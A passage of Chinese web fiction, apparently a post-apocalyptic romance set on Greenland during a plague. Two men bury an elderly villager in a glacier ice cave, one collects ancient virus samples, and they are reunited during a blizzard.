闵疏对自己的身体很了解,并且也不是表面上展现出来的那么天真。知道了外面的世界已经沦陷于瘟疫之后,闵疏心里就明白自己这个体质只要出去就是个死。要想活长点他只能一直苟在格陵兰岛上,并且乞求瘟疫永远都不要传到岛上来。
而魏长川肯定是会回人类基地的。等收集好了冰川里的远古病毒,总得交给科学家去研究吧?那时候男人肯定会离开。
到时候他就又会是一个人了。
闵疏往自己的掌心呼出一口气,透过氤氲的白色水汽看向男人高大的身影,心想实在不行,到时候就往屋子外面一躺,按现在这个气候也算是冰葬了,只要狗子不要把他当冰棍吃了就行。
就在他出神间,魏长川将尸体搬了出来,看了愣神的闵疏一眼:“想什么呢?”
闵疏抬起头,笑了笑道:“没什么,哥,我来帮你吧。”
魏长川凝视他片刻,没说什么,而是将冻成冰雕的阿伊苏一把扛在了肩上,对冻得哆哆嗦嗦的青年发出指令:“到屋子里等。”
接着便走了出去。
闵疏不禁张开嘴,小小地’哇’了一声,有些艳羡地看了看孔武有力的魏长川,遂乖乖走到的屋子里去等了。
魏长川用木板做成了个简易的棺材,将遗体放在了里面,用绳索将棺材和前头的雪橇绑在了一起。前头则是装满了货物,用铁链固定好的货仓和坐人的雪橇。
为了抵御行进过程中的寒风,闵疏用柔软丰厚的皮毛将坐人的地方铺得厚厚的,自己则是从帽子到围巾再到防雪服全副武装,整个人裹得跟个球似得,只露出了一双眼睛。
他旁边的魏长川则是只穿了一身精干挺拔的军装,手上执着拴在雪橇犬身上的绳索,军帽闪亮的徽章在阳光下熠熠生辉。
闵疏忍不住以欣赏的目光看了他许久,心想好一条A气逼人的帅哥,跟臃肿的他形成了鲜明的对比,忍不住夸道:“我哥真帅!” 接着拿起腿上的毯子朝魏长川腿上盖:“哥你只穿了一条裤子吧,小心着凉,我给你盖盖——”
魏长川看着身边因为穿的太多随便做个动作都格外费劲的青年,到底没说什么,任由闵疏将那条厚毯子盖在了自己腿上。等青年吭哧吭哧地盖好了,他便道:“坐好。”
闵疏立即乖乖向后靠着:“好
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嘞。”
下一瞬,魏长川手中的绳索一紧,狗子们登时奔驰而出,随着兴奋的犬吠声,雪橇行驶过光滑辽阔的雪原。
经过数天连绵的暴雪,地上的积雪厚实平滑,天空蔚蓝,洁白的雪原一望无际。
远处,薄荷蓝色的冰山在海水中浮动,透彻的冰晶折射出阳光璀璨的色泽,景色美好而静谧,狂暴的风雪仿佛没在这座世外仙境般的小岛上留下任何痕迹。
但当雪橇路过附近的村镇时,闵疏一眼便看见又有几座房子塌了,五颜六色的木板被埋在雪地中,变为了一地狼藉。
这些房子没人维护,暴雪后房檐上的积雪一多,很容易地就被压塌了。
闵疏在呼啸而的寒风中眯了眯眼,不禁向魏长川靠近了些。
魏长川驾着雪橇,神情在冷风中丝毫不变,一只手隐隐挡在闵疏跟前。
在前路一览无余的大晴天,他们坐着雪橇跑了一个多小时,就看到了远处晶莹的冰川。只见雪原上突兀地伸出一条微微泛着蓝色的冰壳,宛若一条凝固的河流。
“快到了。” 闵疏小声道。
魏长川望着不远处的冰舌,神情有些微妙,之前他走了整整一天半才走到这儿。果然如同闵疏所说,应该天气好的时候来。
两人驾车到冰舌末端,也就是冰川的入川口,雪橇便不能再向前了。
闵疏吭哧吭哧的从雪橇上下来,摸了摸前头正耷拉着舌头喘气的阿拉斯加毛茸茸的狗头:“好狗好狗,真乖。” 众狗子见状纷纷凑上来将闵疏团团围住,等闵疏掏出鱼片。今天的货物特别多,闵疏于是奖励了他们一狗两个冻鱼片。
狗狗们咔擦咔擦地嚼起冻鱼,闵疏回过头,便见魏长川不知什么时候已经将他带的物资都背在了背上。
他带的东西是有点多,在魏长川背上显得跟座小山似得,但是男人表情仍然很平淡,像是根本没觉得背上的东西有多重。
闵疏登时瞪大了眼睛:“哥,你怎么就背上了?” 跨过地上的冰朝男人走:“雪橇后头有小拖车——”
他还没走几步呢,魏长川就手一抬,制止了他的动作,同时将连着棺材的锁扣从雪橇上解开,单手拖着棺材向他走来:“麻烦。”
闵疏目瞪口呆地看着男人肩背物资,手拉棺材从他身边走过,不禁脱口而出一句:“卧槽!”
“哥!你、你这个——” 闵疏小跑着跟上魏长川,震惊地看着男人:“你这个不对吧?你、你怎么力气这么大啊?”
魏长川背上小山一样高物资加上棺材放在正常情况下也得开一辆小型货车才拉得动,男人怎么就这么大气不喘地就背起来了?!虽然闵疏有自知之明,知道自己的力气和体力都是特别差的,但是一般人也不该力气这么大啊?难不成外面的人什么时候进化了没带他?
“哥、你这个——你平时是怎么锻炼的啊?” 闵疏围着魏长川问:“你平时吃的什么?是不是那个什么蛋白粉?我看他们健身的好多都吃那个——“
魏长川一开始没说话,任由青年像个蚂蚱似得在他身边窜来窜去。但是闵疏小嘴叭叭地问个不停,他的眉头越蹙越紧,终于似是有点烦了,他开口道:
“免疫者的身体会产生基因突变。” 魏长川健壮的手臂一动,将背后的物资向上送了送:“这是变异的效果。”
闵疏的话头登时一停:“……啊?”
还真是人类进化了没带他??
15.下葬
闵疏愣了两秒,才问道:“变异?什么意思?”
魏长川向冰舌上迈出一步:“活下来的感染者身体里的病毒不会消失,会从X和Y变为Z型毒株,不会再出现症状,但是身体会变异。”
闵疏长大了嘴,忽然想起昨天那个小册子上面什么介绍都没有的.z型毒株。他昨天就觉得有点不对,不过因为受的冲击太大没来得及问,没想到竟然是这么一回事。
闵疏转了转眼珠,忽然想到了什么,有点激动地在原地蹦了两下:“哦哦哦!我知道了,是不是像蜘*侠里头的那个蜘蛛病毒,感染就可以有超能力——”
“别乱动。” 魏长川伸手拽住他,将他朝自己拉了拉:“小心掉下去。”
闵疏闻言吸了口气平复了一下心情,不敢再乱动,有些艳羡地瞅着魏长川:“原来是这样,哥,你太帅了!”
力气大,不怕冷,在雪地里一走就是十几公里,闵疏这个从小就被禁止剧烈运动的二级残废可是太羡慕了!健康的人是无法理解有一幅不健全的身体是什么感觉的,闵疏虽然觉得自己能活这二十多年已经很知足了,但心里到底还是存着些对健康的渴望。
“要是我也能变异就好了。” 闵疏不禁道。
谁知魏长川听了,脚步顿时一停,回过身来盯着他。
闵疏被他看得一怵,登时停住了脚步。
魏长川看着他,半晌后,一字一句道:“想都别想。”
闵疏被他的目光冻了个底掉,赶忙道:“我知道了,哥。”
待魏长川回过头,继续朝前走,闵疏才敢舒出一口气,默默低下头,有点懊恼地拍了两下自己的脸。
他咋就管不住自己这张嘴呢!
闵疏知道自己话痨,有些时候嘴上没把门的,不过他也没想到今天会这么倒霉,没几小时就惹了魏长川两次。闵疏不禁有些气馁,心想今天出门没看黄历,今天肯定是不宜说话!
其实闵疏自己也知道,他染上病毒就是个死,根本不可能免疫,更谈不上获得什么超能力了,他就是那么随口一说。
然而闵疏不知道的是,魏长川并没有告诉他关于所谓「免疫」的全部真相。
事实上,人们将这种现象叫做「免疫」不过是为了增添末世摇摇欲坠的民众信心,给幸存者带来一丝聊胜于无的慰藉罢了。真要说,这种现象应该被叫做「二次感染」,科学家们对此没能得出具体的解释,只知道在一定的人群体内,「X」「Y」毒株会在感染末期变异为「Z」毒株,从而获得某种变异。
然而Z毒株实际上也是病毒,它们会攻击受感染者的基因链,根据某种人类未知的不同,Z毒株在每个「免疫者」身上的表现也大不相同。
像魏长川这样获得了几乎完全正向影响的感染者只是极少数,他们被称为「完美免疫者」,而剩下的那些,都是「不完美的免疫者」,他们在获得免疫的同时,也遭受到了基因层面上副作用的折磨。
比如一个免疫者,就因为基因上的免疫而会不断地长出四肢,这种无法停止的复制和再生会无限加重身体的负担,该免疫者只能不断砍断多余的肢体来保命。
所谓的「免疫」之于人类是福是祸,都取决于概率。就算侥幸没有死于病毒感染,这个人也不一定就能获救。
闵疏并不知道这些,只觉得自己还是别说话的话,于是便低头闭了嘴,不声不响地跟在魏长川身后。
一时间,冰舌上只剩下呜呜的风声,和脚步踩在碎冰上面的声音。
冰舌的末端,也就是闵疏和魏长川最先踏上的区域是冰舌的消融区域,冰面经过堆叠打磨较为平滑,而越往上走,靠近冰舌头的前段则是冰崖林立,攀爬的难度显著增加。
闵疏吭哧吭哧地在冰面上走着,额角上逐渐泌出了些细汗,呼吸也逐渐变得有些急促,逐渐觉得有点吃力。
又走了一会儿,闵疏眼前出现了一个上下差距有四、五个台阶那么高的冰崖。
闵疏:……
换作平常,他使使劲儿也是跨得上去的,但是现在他有点儿累——
闵疏看着眼前的冰崖,犹豫了一下,刚想咬咬牙爬上去,眼前就出现了一只手。
“手给我。” 魏长川的声音传来。
闵疏惊讶地抬起头,便见魏长川的一张俊脸,正垂着眼看向他。
见他怔愣,伸在他面前的手勾了勾:“手,拿来。”
“哦、哦。” 闵疏一顿,将手伸了出来。
魏长川稳稳地握住他,灼热的体温立刻透过带着薄茧的皮肤传了过来,闵疏登时打了个抖,下一瞬就感到一股巨力,身子一轻,直接被魏长川拽上了冰崖。
!闵疏被吓了一跳,竟一下子没站稳,身子向后仰去,幸好魏长川及时从后腰扶了他一把:“小心,脚下站稳。”
闵疏赶忙稳住身体,一边儿感叹魏长川的力气是真大,跟坐电梯似得,一边抬头朝魏长川笑了笑:“哥——”
他下意识地想夸男人几句,话要出口时却想到刚才的事情,噎了一下,最终抿了抿唇,只是道:“哥,谢谢啊。”
迎着阳光,魏长川看到了青年面上略带小心的笑容,眉心微不可查地皱了皱。他的目光在青年面上顿了片刻,才道:“没事。”
说罢,他转过身:“走吧。”
闵疏跟着他,神情逐渐变得有些奇怪,目光向下,落在魏长川和他交握的手上。
这……总不会是忘了收回去吧?
闵疏犹豫了一下,抬起头,试探地问道:“哥,我自己可以走。“
魏长川脚步不停,也没回头:“路不好走。”
这时,他们正好经过一处略宽的裂缝,魏长川放开了他的手,迈了过去,接着回过头:“脚抬起来。”
闵疏依言抬起脚,下一瞬,魏长川猛地踹向一旁的冰壁,一截粗壮的冰柱掉下来,正好严丝合缝地卡在那道裂缝里。
闵疏:……
他震惊地抬头,看向魏长川:“哥,你真是我的哥。”
这也太牛逼了吧!!
魏长川有些奇怪地看了他一眼,向他抬起手:”手。“
闵疏彻底服了,一个指令一个动作,乖乖地被魏长川握着手从简易的冰桥上走了过去。接着,魏长川又通过冰桥将棺材运了过去,转身继续牵着闵疏的手朝前走。
闵疏跟在魏长川的身边,时不时抬头看看男人高大的背影,又低头看看两人交握的手。
不知是因为他穿得太厚了,还是正午的日头太足,闵疏竟然在寒冷的冰川上感到了一股热意。
闵疏抿了抿唇,又悄悄看了男人一眼,没能从魏长川平静的侧脸上看出什么。不过男人的手倒是很热,热得都有点烫,紧紧地握住他的手。
在日头逐渐偏斜之时,两人来到了冰舌的末端,也就是冰川的入口。
闵疏之前最远也就跟着镇民走到过这儿,只见临近入口处有一面光洁的冰壁,有两层楼那么高,从近处可以看见两、三个还看得见洞口痕迹的冰洞,再往后看,原本有的痕迹已在岁月的打磨下消失,和冰壁融为了一体。闵疏却知道,这座冰壁上至少埋葬了十数名去世的纽因特族长辈。他们的遗体或许已经跟随终年的冰雪一起融入了这座冰山之中。
魏长川用带来的斧头在最近的一个冰洞旁边儿凿开了一个相似的洞口,接着,两人将阿苏伊的遗体取出来,放至在了洞穴深处。
阿苏伊的遗体呈现出盘坐的姿态,静坐在微微泛滥的冰洞之中,阳光经过冰面折射,照在妇人平静而安详的面孔上。
若是气候还是这般连年变冷,她将会以这个状态坐上很久很久。
闵疏坐在地上,看着她,忽然想到了佛教中达摩祖师面壁九年,修禅悟道的故事。
可惜纽因特族并不信佛教,而是信奉万物有灵,他们将长者的尸体留在冰川之中,相信祖先的灵魂会融入霜雪之中,随着融化的雪水滋养大地,守护族人。
“婆婆,你教我的歌,我还是没有学会。” 闵疏用阿依图克语道。
他取出从中超老板那儿继承的香烛,用打火机点燃,举过头顶朝阿苏伊的遗体拜了三下:
“这是我们老家的礼仪,就当是给你送行了。” 闵疏抬起头,看向妇人柔和的面孔,眼眶有些微微发红:“婆婆,我会想你的。”
阿苏伊垂着头,嘴边还挂着一缕微笑,似乎是听见了。
闵疏抽了抽鼻子,低头抹了抹眼角,将三炷香往冰面上插去,下一瞬,动作却猛地顿住。
……香插不进去。
冰面太坚硬,闵疏试了几下,连个划痕都没留下。
闵疏:……
他不得不回过头
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,看向正斜倚在洞口,正夹着根烟在玩儿的魏长川:“哥,帮帮忙?”
魏长川动作一停,将香烟收了起来,走到他身边。三炷香在他手中宛若神兵利刃,十分丝滑地没入了冰面之中。
闵疏看着那飘着青烟的香,忽地笑了笑,转向阿苏伊道:“婆婆,这样哥也算是给你上了香了,看在我的面子上,你也保佑保佑他好不好?”
闻言,魏长川起身的动作一顿,看了眼闵疏。
闵疏倒是颇为虔诚,又朝阿苏伊拜了三下:“这是替哥拜的。”
他拜完,撑着冰面站了起来,最后看了阿苏伊的遗体一眼,像是无数次出门前一样,对妇人笑着道:“我走啦,婆婆,别替我担心。”
·
寒冷的北风刮过雪原,顺着冰舌吹入,在狭窄的冰壁见流窜。闵疏走出冰洞,迎面一股强烈的气流吹乱了他的额发,猛地掀起毛毡帽。
“啊!” 闵疏被吹得一激灵,下意识地闭上眼。
就在这时,一只手稳稳按住了他的帽子,闵疏被按得缩了缩脖子,转过头,见魏长川收回了手,对他道:“站远点。”
闵疏’哦’了一声,赶忙用手按住帽檐,往后退了几步。
接着他便看见魏长川将手从口袋里拿出来,接着旋身一脚踹向冰洞。洞口上方的冰壁登时碎裂,冰块哗啦啦地掉下来,将洞口封了个严严实实。
闵疏在一旁长大了嘴:“哇。”
他还特别带了凿冰块的工具呢,没想到魏长川一脚就搞定了。效率倒是很高,就是有点不体面。他忽然觉得刚才拜的那三下少了点儿,应该再替魏长川多拜几下。
这时,魏长川转过身,面容如常地从四散的雪雾中走出来,对他道:
“走吧。”
闵疏忽然发觉男人不仅对自然缺乏敬畏,对葬礼这种带点儿唯心主义的东西似乎也不是很尊敬。
不过没事,你强你有理,闵疏很快说服了自己。
接下来的路程魏长川拒绝让闵疏陪同,他找到了一处避风的山洞,将闵疏和众多物资一起安排在了洞中。
“就在这等我。”
魏长川用气炉煮了些雪水,给闵疏冲好了一杯热可可,站起身道:“我回来之前,不要出去。“
闵疏喝了口热可可,感到浑身都暖了起来,闻言他点了点头:“嗯嗯。”
他也没打算出去,能走到这儿,闵疏自知已经到了体力的极限,他也无意去拖魏长川的后腿。
魏长川青年在冰洞里缩成一团,捧着保温杯朝水面吹气的样子,目光在青年微微泛白的脸上顿了顿,不知为何说了句:“我会尽量早点回来。”
“好呢。”
闵疏捧着杯子点了点头,透过氤氲的水汽冲男人咧嘴笑了笑:
“哥,路上小心。“
魏长川闻言,似乎是笑了一下,又似乎是没有。在闵疏能辨别清他被帽檐的阴影所遮盖的神情之前,他便回过神,走出了洞口。
·
魏长川走后,闵疏喝完了那杯热巧克力,不久就睡着了。他带来的那些毛皮派上了用场,闵疏在冰面上铺了好几层防水的皮毛,像打地铺一样弄得软软的,再躺上去,盖了件北极熊皮毛做的外套当被子。
一上午的徒步已经耗光了他的体力,被略带暖意的阳光照着,闵疏很快就坠入了黑甜的梦乡。
不知过了多久,闵疏被冻得醒了过来。
他一睁眼,就发现洞外不知什么时候已经全黑了。
这倒是不奇怪,这个季节,岛上的日照时间已经很短了,下午三四点天就差不多全黑了。
闵疏爬起来,身上的’被子’滑落,被窝里的热气一散,闵疏立刻被冻得打了个抖。
气温下降了很多。闵疏意识到这一点,立即又拿了几件皮毛来裹在了身上,这才觉得好了些。接着,他摸到了放在一旁的鲸油灯,用打火机点燃,昏黄的光芒立即照亮了冰洞。
闵疏四处看了看,发现魏长川还没回来。
就在这时,一个声音传进了闵疏耳中。
那是风雪的呼啸声。
闵疏动作一顿,接着浑身一凛,急忙站起来跑向了洞口。当他看清洞口外的情况时,瞳孔猛地一缩,举着油灯的手一抖。
洞口外一片灰白,不知何时,暴风雪已经笼罩了冰川。
16.骤变
闵疏登时心下一凉。
外面的风雪非常大,冷风呼啸在冰川间穿梭,发出巨大的声响。
闵疏额上的头发被吹得糊住眼睛,提起灯试图往远处看去,然而灯光只能照亮飞舞的雪花,四周没有魏长川的身影。
闵疏没看到人,心想可能是样本还没采集到。虽然风雪是很大,但魏长川那么厉害,应该没有问题吧?
他看着外面的风雪,又有些担心还在冰舌外头等着的雪橇犬。不过狗狗们被他安置在了一个冰壁避风的凹陷处,且皮毛丰厚,在雪地里的生存能力比他要好,应该问题不大。
外面的气温降低了很多,闵疏在洞口站了几分钟,手和脸都冻得有些发麻,他不得不转身走回了洞内。
幸好魏长川找的这个洞够深,里头基本上没有风。闵疏走回洞穴深处,将带来的油灯都点上,把洞内弄得亮亮的,这样魏长川一走到附近就能通过亮光找到这里。
接着,他拿出气罐,架起了个简易的小炉子,烧了盆热水,给自己冲了杯热巧克力,喝了又觉得有点饿,便又泡了碗面充饥。
简单地吃完晚饭,将地方收拾收拾,闵疏便开始等魏长川。
他手边放了盒苏打饼干,膝盖上摆了本随各种吃食一起带来的漫画书,一边看一边等着魏长川回来。
漫画书是上个世纪流行的某本日本漫画,闵疏手上的这本是台岛翻译版,墨色暗淡的繁体字看起来有些费劲。但等闵疏磕磕绊绊地把一本书都翻完了,魏长川还没有回来。
洞外,风雪不仅没有停,还有愈演愈烈的趋势。
强劲的冷风在冰川间呼啸,凌厉地刮过冰面。风声在回响叠加之下,听着竟有些像是无数人同时发出呜咽一般凄厉。
闵疏放下漫画书,逐渐有些坐不住,开始站起身在原地转圈,时不时走到洞口看看。
然而这一等,就等到了后半夜。四处的黑暗可以用伸手不见五指来形容,如果不拿灯照,连飞雪都看不清了。
洞内的温度也越来越低,闵疏身上肩上搭了两层皮毛,都还觉得有些冷,可这时他也顾不上这点寒冷了。
闵疏站在洞口边,皱着眉往外看。
风雪这么大,看不清月亮,魏长川能分辨得清方向吗?
他也没见魏长川带什么仪表或者指南针,就只带了张地图,那地图上也没画冰川里面的具体地形啊?或者是又从哪里摔下去,给磕晕过去了?
闵疏越想,越觉得担心,眉头越蹙越紧。
就在这时,他耳边忽然传来一个细小的响声。
那是个极微小的’咔嚓’声,然而闵疏一听,浑身立即一颤,立刻急步后退——
下一瞬,洞口上的的冰楞骤然断裂,随着积雪骤然落下。
下落的冰锥深深插入了冰面中,一阵闷响后,洞口前瞬间堆起了半米高的雪墙。如果刚才闵疏没躲开,幸运点是被冰雪埋住,要是不走运,估计身体就被冰锥插穿了。
不过闵疏在岛上生活多年,对这种事已经形成了条件反射。闵疏看着从冰雪里支出来的冰锥,心里倒是没什么后怕的情绪,这时他想的全都是——
魏长川不会是被雪埋了吧?或者是在哪摔了,受了伤行动不了,所以才回不来?
男人被冰锥贯穿,倒在血泊中的场景顿时出现在闵疏脑海中,闵疏登时打了个冷颤,心中大叫不好!
魏长川是很强,但技能点是点在体力和血条上的,到底是血肉之躯,如果真被冰锥扎了还能活得了??
闵疏越想越觉得自己很对,冰川的地形算不上太复杂,按理说一路沿着深陷的槽沟走就能来到冰舌的开端。魏长川这么久还没回来,肯定是受了伤不能走动了!
闵疏越想越着急,在原地站了片刻后,终于一咬牙一跺脚,回头抄起毛皮大衣,提着鲸油灯就冲入了风雪中!
一离开洞口,呼啸的风雪登时包围了他。
闵疏死死按住自己的帽子,一瞬间几乎被风雪吹得睁不开眼,刺骨的寒风吹在他脸上,如同刀割一般泛起阵阵刺痛。迎面而来的寒风在他周身形成巨大的阻力,让闵疏几乎一步都卖不出去。
风太大了!
几乎是在踏入风雪的第一瞬,闵疏心里就生理性地涌上一股悔意,迅速失去暖意的身体和人类趋利避害的本能在驱使他回到温暖的洞穴中去。
然而闵疏想到还不知在哪生死未卜的魏长川,要紧了牙关,一脚踏入了短短几小时间已经堆到小腿的积雪中。他虽然废,但好歹休息了这么久,好吃好喝的体力正是充足的时候。这时候方圆百里就只有他们两个人,魏长川如果真出了什么意外,能指望的就只有他。
在这种情况下,不管被困的是谁,闵疏都无法做到见死不救。
更何况魏长川还那么帅!
闵疏迎着风,艰难地在雪地中跋涉,向冰川巨谷中大喊:“魏长川——“
呼啸的风雪几乎完全盖过了他的声音,闵疏在雪地里艰难地行走者,用手中的油灯照亮脚下的沟壑,试图寻找男人的足迹,同时不断呼喊男人的名字:
“魏长川——哥——你在哪?”
“哥——你在哪——”
“听见了就回应一声——哥——”
风雪没有丝毫要停止的意思,闵疏的睫毛都被雪花黏在了一起,几乎是闭着眼在雪地里走。
就在这时,他忽然感觉自己踩到了什么东西,脚下一滑,登时失去了平衡,向前摔去。
“啊!”
闵疏只来得及叫出半声,下意识地护住鲸油灯,然而就在这时,一股巨力忽然拽住了他的衣领,将他生生提了起来。
闵疏只感觉自己的身体’嗖’的一下腾空,抬眼一看,便见一张俊脸自冰雪后浮现。
闵疏登时眼前一亮:“哥!“
真巧!他才出来走了两步就找着了!
闵疏喜出望外,然而他剩下的话还没来得及出口,就被猛地扣住了肩膀:
”你出来干什么?!“
男人饱含怒气的声音在他耳边炸响。闵疏登时被吼懵了,瞪大了眼睛看着面前脸色有点发白的魏长川。
魏长川显然气得不轻,额头上隐隐绷出青筋,冷峻的眉目盯紧了他,扣在他肩膀上的手如铁钳一般:
“不是叫你别出来吗?“
闵疏看着男人的眼睛,无措道:“我、我看你这么久都没回来……害怕你出事。” 他说着动了动手臂,可怜兮兮地道:“哥、哥你抓得我好痛啊——”
青年的声音有点委屈,魏长川一愣,接着闪电般地松开了手。
闵疏落到地面上,下意识地揉了揉肩膀,小心地抬起眼,见魏长川面色阴沉的站在哪儿,不禁缩了缩脖子,不敢说话了。
风雪在二人身边呼啸而过,闵疏在雪地里站着,不禁打了个冷颤。
这时,魏长川忽然动了起来。他走近几步,长臂一揽,直接将闵疏跟夹着个文件夹似得搂着腰挟住。
闵疏身子一轻,还没反应过来,双脚就离开了地面。
他下意识地用手抓住男人的手臂:“哥、哥?” 他试图以这个别扭的姿势转头去看魏长川的脸:“哥……我自己可以走——”
然而魏长川根本没理会他的,他健步如飞,视风雪为无物,挟着闵疏几步就走到了洞口。
一进入山洞,外头的风声立即低了下来,鲸油灯暖黄的光芒洒出来,照亮了地面上层叠的柔软皮毛和四处散落的零食。炉子上的小锅里的水还留有热意,蒸腾出些许水汽,锅边的堆叠的皮草很明显得下陷了一块儿,像是个小小的窝,几乎能让人想象出闵疏坐在里面捧着漫画看的样子。
魏长川站在热可可香甜的气息中,胸膛起伏了几下,带着霜雪的眉梢逐渐放缓了幅度
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。
下一瞬,闵疏感到自己被放了下来。他刚站稳,一只略带凉意的手就伸了过来,先是摸了摸他的脸,然后碰了碰颈侧,最后抓住他的手,拢着五指捏住。
闵疏不明所以地伸着双手,抬头看向男人。便见魏长川低着头,凝着霜雪的眼睫全白,带着别样的美感。
“出来了多久?“
闵疏看了看他,又看了看自己被握住的双手,咽了口唾沫,觉得自己的声音有点发紧:“……才刚出去了一小会儿。”
魏长川感受着手里五指上的温度,神情缓了缓,遂看了眼闵疏,这才放下手。
闵疏’嗖’得一下收回手,捏了捏自己的裤腿,不敢和男人对视:“我真的没事,才走了没多久就遇见你了。”
随后有些慌张地转过头,去用气罐点燃炉子:“哥你在外头走了那么久,冷着了吧?我先给你弄点儿热的喝——”
他刚拿起气罐,就被魏长川接了过去。闵疏一愣,回过头,便见男人熟练地点火,将锅架在了火上,又到外面去捧出干净的清雪放进锅里。
在煮雪的同时,闵疏找不到事干,只得坐到了皮毛上,干巴巴地看着魏长川。
这一看,他才发现魏长川的披风上已经落满了积雪,闵疏想起来,刚才男人的眉毛和眼睫上都是霜,脸上也没有血色,原本烫地惊人的手心也是凉凉的,应该是在风雪里走了很久。
“哥,你怎么这么晚才回来啊?”
闵疏忍不住问:“我还以为你出什么事了呢。”
闻言,魏长川动作一顿,回头看向闵疏。
青年团坐在柔软的皮毛中,腿上盖着条雪白的毛毯,尖尖的下巴缩在领子里,一双细长的丹凤看着他,目光温润而清亮,带着未遭到末世洗礼过的天真。
魏长川默然。
他低下头,自披风下拿出一只试管,细长透明的玻璃管中装着两块冰,在肉眼不可见的结构之中,蕴含着自远古就被封冻在冰层最深处的病毒。
“啊。” 闵疏看见试管,惊喜道:“哥,你拿到样本了?”
魏长川没有回答他,实际上,在他下到冰川最深处,按照基地科学家给出的指示找到正确的冰层收集好样本之前,一切都很顺利。天空中没有云,巨大的冰块在逐渐笼罩天地的粉色霞光中泛着深邃而幽秘的蓝色,景色称得上一句壮丽。
然而就在他收集好样本,开始回程之时,天气忽然骤变,风暴在不到半个小时间就席卷了整座冰川,能见度下降到不足一米。
然而就算这般,魏长川也不觉得有什么。他的基因变异携带对地磁感应的增幅,不需要任何仪器或者参照物引导就能找到正确的方向。
然而在这场风暴中,他竟然迷路了。
就跟上次独自接近冰川一样,魏长川被困在了风暴里。四周都是灰白的雪雾,他在其中逐渐失去了方向感,随即开始感觉不到时间的流逝,体温跟着开始下降,魏长川对这一切没有科学的解释,真要说,只能用俗语中的「鬼打墙」来形容。
他不知在风雪中走了多久,好像无论怎么走都走不出风暴的包围,像是身处一个无限的空间里走着,又像是在原地踏步哪里都没有去。
若是换个心智不够坚定的人,遇到这种情况可能早就崩溃了。就算是免疫者,长期暴露在这样的温度下也会迅速失去体温。
但是魏长川没有停下脚步,在暴风雪中漫无方向地走了很久很久,然后在某一个瞬间,他忽然听到了一个声音。
那是闵疏在叫着他的名字。
下一瞬,就像变魔法一样,魏长川忽然就在一片灰白中准确地看到了一个清瘦的人影,正提着灯自远处朝他靠近。
他一把抓住了闵疏,在看见青年白皙的面颊时,一切骤然回归正常。魏长川看都不用看就找到了方向,他拎着青年,走了不到五十米就回到了山洞。
17.迷路
实际上,在看到闵疏时,魏长川的第一个反应是愤怒。
他自己在风雪里被困上个几天几夜都不会有事,但闵疏身体太弱,如果和他一起被困在风暴里,可能几个小时尸体就凉透了。
所以当他抓住青年时心里是很生气的,然而就在那一瞬,他忽然意识到他们两个人就在离洞口不远的地方。以他的视力,甚至能透过风雪看到洞口处隐约透出的暖光。
他四周的景色没有任何变化,风雪依旧在耳边呼啸,然而一切就在这一瞬间恢复了正常。在那一刻,魏长川看着远处洞穴的微光,甚至有一瞬间的错乱,怀疑刚才在风雪里迷失方向的经历是一段幻觉。
温暖的洞穴中,魏长川看着闵疏灯光下一无所知的脸,忽然有种感觉——如果不是闵疏叫他的那一声,他或许根本走不出风暴。
“哥,你怎么了?” 闵疏见男人一直盯着自己看,有点不好意思地错开目光:“你、你是不是饿了?我给你弄点吃的吧。”
灯光下,青年耳鬓乌黑,侧颊细腻,泛着点微微的红。似是有点不好意思了,笑起来的样子带着些青涩的腼腆。
魏长川眉眼一跳,骤然收回了目光,垂下眼:“不用麻烦。”
“嗐。” 闵疏咧着嘴笑:“哥你跟我客气啥。” 说罢便伸手在物资堆里扒拉出一盒饼干:“哥你先吃这个垫垫肚子。”
洞穴中被鲸油灯照得很亮堂,正好水也烧开了。闵疏拆了包泡面,将面饼和调料放进去。热水咕嘟咕嘟地将调料化开,空气中立即弥漫开香菇炖鸡的香味。
想着魏长川的胃口,闵疏一次煮了两包,还往里头切了根珍贵的火腿肠,煮成了一碗热腾腾的豪华版泡面。
在冰川里条件简陋,没有多余的碗,魏长川只能抱着锅吃。但他倒是不怕烫,端着锅呼噜呼噜几下,半锅面就下了肚。
闵疏在一旁看着,有些佩服魏长川的胃口能一直这么好,吃个泡面都能吃得这么香。
看着男人在哪儿呼噜面条,闵疏都有点儿看饿了,便随手拿了块巧克力来吃。牛奶巧克力香甜的滋味在舌尖散开,闵疏刚吃了小半块儿,眼皮就开始打架。
他担忧了半个晚上,又在雪地里折腾了一通,体力消耗了不少,吃了甜的就开始犯困。
魏长川到外头用雪水洗了锅回来,便见闵疏已经睡着了。
青年歪着倒在皮毛毯子上,松软的黑发在脸旁散开,裹着外套睡得很安稳,手上还拿着一块巧克力。
魏长川脚步顿了顿,放下锅,走近几步,俯身拿走青年手里的巧克力。
巧克力的锡纸包装剥开了一小半,右上角被咬掉了半块,连一个格子都没吃完。巧克力表面带着青年的牙印,也是小小一圈。
像只小老鼠咬的,魏长川心道。
每当这种时候,他心里就涌出一股难以描述的怜悯。这种情绪不带任何私人感情,更像是人类看到比自己弱小许多的事物时所产生的一种本能反射。
然而就是这样一个普通的,甚至说得上是弱小的青年,却救了他两次。
魏长川在灯下站了片刻,才低下头,将吃剩的巧克力收好,揣进了兜里。
他找出一张干燥的皮草,将闵疏包裹起来,接着脱下还带着霜雪的外袍,躺在了青年身旁,将他连人带皮草抱在了怀里。
闵疏睡得很沉,并没有醒,只觉得身上忽然被什么热热的东西裹住了。他在睡梦中哼哼了一声,下意识地向热源凑了凑,在魏长川怀里找了个舒服的位置,又很快睡熟了。
闵疏今天累着了,睡得很沉,有些发白的嘴唇微微张着,唇角还沾着点巧克力的碎屑。
魏长川看见了,伸手在青年的嘴角一抹,舔了舔指尖,随即也闭上了眼睛。
·
第二日,风雪散去,晴阳照雪。
阳光穿过洞口,在冰壁上反射出斑斓的光点,照在闵疏的眉眼上。闵疏眼睫微颤,蹙了蹙眉,缓缓转醒,在刺眼的阳光下眯了眯眼。
冰洞里的鲸油灯已经熄灭了,闵疏睁开眼,发现自己躺在皮草上,身边没有别人。
闵疏登时心中一凛,爬起来伸手去摸旁边的皮毛,发觉上面还有余温。
就在这时,一个声音自他身后传来:“醒了?”
闵疏一怔,回过头,便见魏长川拎着装满清雪的锅走进来。他没披外袍,只穿着那身黑色的军装,脚上蹬着双黑色的漆皮靴子,身形修长而挺拔。
闵疏看见他,微不可查地松了口气。
上次男人不告而别的场景还历历在目,虽然闵疏相信魏长川不会将他一个人丢在冰川里,但一醒来没看到人,他还是不自觉地紧张了一下。
见魏长川走进来,将装满雪的锅夹在气炉上,闵疏拢了拢身上的皮毛,凑过去道:
“哥,你今天起得好早啊。”
